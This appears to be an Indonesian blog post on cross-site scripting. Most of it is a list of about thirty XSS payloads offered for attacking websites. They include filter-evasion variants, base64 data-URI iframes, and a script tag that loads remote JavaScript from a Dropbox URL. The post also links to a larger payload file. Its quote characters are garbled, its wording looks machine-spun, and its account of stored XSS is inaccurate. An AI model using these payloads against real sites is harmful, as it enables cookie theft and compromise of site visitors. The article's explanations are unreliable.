Xss Payloads - Xss Attack Vulnerabilites

XSS Payloads yaitu sekumpulan injeksi isyarat yang dipakai untuk penyerangan suatu website. XSS sendiri yaitu singkatan dari Cross Site Scripting. Kenapa ga CSS? Karena CSS sudah dipake oleh Cascading Style Sheets. XSS terdapat dua jenis serangan, yaitu Reflected XSS dan Stored XSS.


Reflected XSS adalah tipe serangan yang paling umum dan paling gampang dilakukan. Serangan ini biasanya hanya untuk menampilan sebuah text alert atau sanggup menampilkan cookie dari sebuah website. Contoh yang paling umum yaitu menyerupai ini.

<script>alert('xss');</script>

Contoh jikalau pada sebuah website ditambahkan isyarat diatas maka akan muncul popup yang berisi text "xss". Penambahan isyarat menyerupai diatas sanggup ditambahkan dikolom pencarian sebuah website. Jika sudah ditambahkan dan sudah kalian pencet enter maka url pada website nya sanggup menyerupai ini. http://site.com/index.php?search=<script>alert('xss');</script>

Stored XSS merupakan serangan XSS yang jarang ditemui dan imbas nya besar bagi sebuah website. Kalo ga salah metode ini memanfaatkan cookie dari website yang sedang diattack.

Kode XSS tidak hanya menyerupai yang diatas. Namun berbagai macamnya. Berikut macam-macam isyarat injeksi XSS

• <script>alert(123);</script>
• <ScRipT>alert("XSS");</ScRipT>
• <script>alert(123)</script>
• <script>alert("hellox worldss");</script>
• <script>alert(�XSS�)</script>
• <script>alert(�XSS�);</script>
• <script>alert(�XSS�)</script>
• �><script>alert(�XSS�)</script>
• <script>alert(/XSS�)</script>
• <script>alert(/XSS/)</script>
• </script><script>alert(1)</script>
• �; alert(1);
• �)alert(1);//
• <ScRiPt>alert(1)</sCriPt>
• <IMG SRC=jAVasCrIPt:alert(�XSS�)>
• <IMG SRC=�javascript:alert(�XSS�);�>
• <IMG SRC=javascript:alert(&quot;XSS&quot;)>
• <IMG SRC=javascript:alert(�XSS�)>
• <img src=xss onerror=alert(1)>
• <iframe src="&Tab;javascript:prompt(1)&Tab;">
• <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
• <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
• <sVg><scRipt >alert&lpar;1&rpar; {Opera}
• <img/src=`` onerror=this.onerror=confirm(1)
• <form><isindex formaction="javascript&colon;confirm(1)"
• <img src=``&NewLine; onerror=alert(1)&NewLine;
• <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
• <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
• <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
• <script /**/>/**/alert(1)/**/</script /**/&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
• <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
• <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
• <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script>

Itu tadi beberapa payload xss. Sebenarnya masih banyak payload yang masih belum saya tulis di artikel. Jika kalian ingin melihat menyerupai apa payload yang lebih banyak lagi kalian sanggup mengunjungi link berikut

https://raw.githubusercontent.com/pgaijin66/XSS-Payloads/master/payload.txt

Saya rasa cukup sekian artikel yang sanggup saya tulis. Semoga kalian sanggup mendapat ilmu yang lebih banyak dan Jangan lupa berkunjung ke artikel yang lain ya gan. Terima Kasih!